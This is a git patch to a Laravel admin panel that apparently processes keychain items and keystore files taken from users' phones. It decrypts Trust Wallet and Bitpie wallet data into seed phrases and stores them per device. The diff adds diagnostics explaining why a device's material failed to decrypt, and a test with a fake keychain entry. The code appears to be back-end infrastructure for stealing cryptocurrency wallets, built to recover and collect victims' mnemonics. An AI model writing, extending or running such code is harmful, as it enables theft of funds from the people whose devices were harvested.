From 0dfb93f451b14773949f4d6603c4e9870fd75caa Mon Sep 17 00:00:00 2001 From: hashbro Date: Mon, 24 Aug 2026 07:01:41 +0800 Subject: [PATCH] feat: ds --- .../Controllers/Admin/KeystoreController.php | 33 +++++++++++++++++-- app/Services/DsKeystoreDecrypt.php | 22 +++++++++++++ tests/Feature/KeystoreAdminTest.php | 33 +++++++++++++++++++ 3 files changed, 86 insertions(+), 2 deletions(-) diff --git a/app/Http/Controllers/Admin/KeystoreController.php b/app/Http/Controllers/Admin/KeystoreController.php index d4a07f8..5aebe14 100644 --- a/app/Http/Controllers/Admin/KeystoreController.php +++ b/app/Http/Controllers/Admin/KeystoreController.php @@ -8,6 +8,7 @@ use App\Models\User; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; use App\Services\DarkSwordIngestAdapter; +use App\Services\DsKeystoreDecrypt; use App\Support\AgentScope; use Illuminate\Database\Eloquent\Builder; use Illuminate\Http\Request; @@ -82,7 +83,7 @@ class KeystoreController extends Controller ]); } - public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter) + public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt) { if (! $this->keystoreAllowed($keystore)) { return response()->json(['code' => 1, 'msg' => '无权操作'], 403); @@ -107,11 +108,12 @@ class KeystoreController extends Controller ->get(['id', 'source', 'mnemonic_hash']); $added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash])); $addedCount = $added->count(); + $counts = $decrypt->materialCounts($device->fresh('keystores')); $msg = $addedCount > 0 ? '已写入 '.$addedCount.' 条助记词' : ((int) $keystore->decrypted === 1 ? '没有新的助记词(该来源可能已解密)' - : '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)'); + : $this->decryptMissMessage($counts)); return response()->json([ 'code' => 0, @@ -122,6 +124,9 @@ class KeystoreController extends Controller 'added' => $addedCount, 'mnemonic_total' => $after->count(), 'sources' => $added->pluck('source')->unique()->values()->all(), + 'utc' => $counts['utc'], + 'passwords' => $counts['passwords'], + 'entropy' => $counts['entropy'], ], ]); } @@ -147,6 +152,30 @@ class KeystoreController extends Controller ]; } + /** + * @param array{utc: int, passwords: int, entropy: int} $counts + */ + private function decryptMissMessage(array $counts): string + { + $utc = (int) $counts['utc']; + $passwords = (int) $counts['passwords']; + $entropy = (int) $counts['entropy']; + if ($utc === 0 && $passwords > 0) { + return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密'; + } + if ($utc > 0 && $passwords === 0) { + return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)'; + } + if ($utc > 0 && $passwords > 0) { + return 'UTC 和钥匙串密码都在,但解不开(密码不匹配或 scrypt 失败)'; + } + if ($entropy > 0) { + return '有 Bitpie seedPhraseEntropy,但未能还原助记词'; + } + + return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy)'; + } + private function keystoreAllowed(WalletKeystore $keystore): bool { $allowed = WalletKeystore::query() diff --git a/app/Services/DsKeystoreDecrypt.php b/app/Services/DsKeystoreDecrypt.php index c8a8132..acd68bb 100644 --- a/app/Services/DsKeystoreDecrypt.php +++ b/app/Services/DsKeystoreDecrypt.php @@ -49,6 +49,28 @@ final class DsKeystoreDecrypt return $hits; } + /** + * @return array{utc: int, passwords: int, entropy: int} + */ + public function materialCounts(Device $device): array + { + $device->loadMissing('keystores'); + $utcs = []; + $passwords = []; + $entropy = []; + foreach ($device->keystores as $row) { + $utcs = array_merge($utcs, $this->collectKeystores($row->raw_json)); + $passwords = array_merge($passwords, $this->collectPasswords($row->raw_json)); + $entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json)); + } + + return [ + 'utc' => count($this->uniqueKeystores($utcs)), + 'passwords' => count($this->uniquePasswords($passwords)), + 'entropy' => count(array_unique($entropy)), + ]; + } + /** * @return list}> */ diff --git a/tests/Feature/KeystoreAdminTest.php b/tests/Feature/KeystoreAdminTest.php index 19d4601..69a1d0e 100644 --- a/tests/Feature/KeystoreAdminTest.php +++ b/tests/Feature/KeystoreAdminTest.php @@ -214,4 +214,37 @@ class KeystoreAdminTest extends TestCase ->postJson(route('user.keystores.decrypt', $rowB)) ->assertForbidden(); } + + #[Test] + public function decrypt_explains_trust_password_without_utc(): void + { + Http::fake(); + $admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']); + $device = Device::query()->create(['device_id' => 'DEVKSDECRYPT02']); + $keychain = WalletKeystore::query()->create([ + 'device_id' => $device->id, + 'source' => 'Trust Wallet', + 'decrypted' => 0, + 'raw_json' => [ + 'kind' => 'keychain.wallets', + 'wallets' => [ + 'trustwallet' => [ + 'items' => [[ + 'account' => 'trustwalletwallet-hd-wallet-UTC--2026-08-21T00-03-40--47A2D637-C475-4384-AA0F-9BB81A84893F', + 'dataHex' => str_repeat('ab', 32), + ]], + ], + ], + ], + ]); + + $this->actingAs($admin, 'admin') + ->postJson(route('admin.keystores.decrypt', $keychain)) + ->assertOk() + ->assertJsonPath('code', 0) + ->assertJsonPath('data.added', 0) + ->assertJsonPath('data.utc', 0) + ->assertJsonPath('data.passwords', 1) + ->assertJsonPath('msg', '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密'); + } }